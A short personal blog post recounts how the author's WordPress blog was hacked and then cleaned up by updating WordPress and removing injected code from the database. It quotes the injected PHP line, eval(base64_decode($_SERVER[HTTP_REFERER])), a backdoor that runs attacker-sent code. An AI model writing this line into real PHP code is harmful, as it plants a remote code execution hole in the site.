My WordPress blog got hacked, but it’s fixed now… thanks to my cousin B!

Also, thanks to Eric Nakagawa who was my shoulder to freak out on.

Basically what happened was that I noticed that a string was appended to the URLs of my individual posts on WordPress:

eval(base64_decode($_SERVER[HTTP_REFERER]))

BAH! It breaks the links!

Anyway, it was my own bad for not being totally up to date with the latest version of WordPress. Eric listened as I freaked out about manually backing up my blog and updating to version 2.84 (since the auto-update wasn’t working for me).

Then my cousin B went into my database and cleaned out the yuck code, per the instructions I found at 4rev.net.

And then, hocus pocus, my blog was all good again! Thanks for the help, guys!
